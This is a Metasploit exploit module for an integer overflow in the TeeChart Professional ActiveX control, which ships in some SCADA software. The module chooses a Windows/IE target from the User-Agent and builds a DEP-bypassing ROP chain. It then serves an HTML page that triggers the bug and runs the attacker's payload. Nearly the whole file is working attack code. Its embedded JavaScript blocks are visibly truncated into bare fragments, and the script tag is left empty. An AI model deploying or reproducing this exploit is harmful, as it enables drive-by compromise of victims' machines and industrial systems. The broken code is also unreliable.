require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super( update_info(info,
'Name' => 'TeeChart Professional ActiveX Control <= 2010.0.0.3 Trusted Integer Dereference',
'Description'=> %q{
This module exploits a integer overflow in TeeChart Pro ActiveX control. When
sending an overly large/negative integer value to the AddSeries() property of
TeeChart2010.ocx, the code will perform an arithemetic operation that wraps the
value and is later directly trusted and called upon.
This module has been designed to bypass DEP only under IE8. Multiple versions
(including the latest version) are affected by this vulnerability that date back to
as far as 2001.
The following controls are vulnerable:
TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);
TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);
TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);
TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);
TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).
The controls are deployed under several SCADA based systems including:
Unitronics OPC server v1.3;
BACnet Operator Workstation Version 1.0.76
},
'License'=> MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>',
],
'Version'=> '$Revision: 13522 $',
'References' =>
[
[ 'OSVDB', '74446'],
[ 'URL', 'http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload'=>
{
'Space'=> 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', {} ],
[
'Windows XP SP0-SP3 (IE6/IE7)',
{
'Ret' => 0x027314C6
}
],
[
'Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)',
{
'Ret' => 0x014E59CB,
'Pivot' => 0x09441FF8
}
],
[
'Windows 7 + JAVA + DEP bypass (IE8)',
{
'Ret' => 0x049719CB,
'Pivot' => 0x16671FF8
}
]
],
'DisclosureDate' => 'Aug 11 2011',
'DefaultTarget'=> 0))
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def on_request_uri(cli, request)
my_target = target
if my_target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
my_target = targets[2]
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
my_target = targets[3]
end
end
print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']
return if ((p = regenerate_payload(cli)) == nil)
retn = Rex::Text.to_unescape([0x7C3410C4].pack('V*'))
pop_pop_retn = Rex::Text.to_unescape([0x7C3410C2].pack('V*'))
sc = Rex::Text.to_unescape(p.encoded)
rand1= rand_text_alpha(rand(100) + 1)
rand2= rand_text_alpha(rand(100) + 1)
rand3= rand_text_alpha(rand(100) + 1)
rand4= rand_text_alpha(rand(100) + 1)
rand5= rand_text_alpha(rand(100) + 1)
rand6= rand_text_alpha(rand(100) + 1)
rand7= rand_text_alpha(rand(100) + 1)
rand8= rand_text_alpha(rand(100) + 1)
rand9= rand_text_alpha(rand(100) + 1)
rand10 = rand_text_alpha(rand(100) + 1)
j_applet = rand_text_alpha(rand(100) + 1)
if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
js = <<-EOF
var
var
var
var
while(
}
var
var
while((
}
for(
}
function
{
}
EOF
end
if my_target.name =~ /IE8/
rop_gadgets = [
my_target['Pivot'],
0x7C342643,
0x7c346c0a,
0x7c37a140,
0x7c37591f,
0x41414141,
0x7c346c0a,
0x7c37a140,
0x7c3530ea,
0x7c346c0b,
0x7c376069,
0x41414141,
0x41414141,
0x41414141,
0x7c376402,
0x7c345c30,
0x7c346c0a,
0xfffffdff,
0x7c351e05,
0x7c354901,
0xffffffff,
0x7c345255,
0x7c352174,
0x7c34d201,
0x7c38b001,
0x7c34b8d7,
0x7c34b8d8,
0x7c344f87,
0xffffffc0,
0x7c351eb1,
0x7c346c0a,
0x90909090,
0x7c378c81,
].pack('V*')
rop = Rex::Text.to_unescape(rop_gadgets)
custom_js = <<-EOF
function
var
while(
while(
var
while(
for(var i = 0; i < 0x400; i++) {
}
}
function
}
EOF
js = heaplib(custom_js)
end
content = <<-EOF
<object classid='clsid:FCB4B50A-E3F1-4174-BD18-54C3B3287258' id='#{rand1}' ></object>
<script language='JavaScript' defer>
</script>
<body onload="JavaScript: return #{rand2}();">
<body>
</html>
EOF
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
content = content.gsub(/^\t\t/, '')
send_response_html(cli, content)
handler(cli)
end
end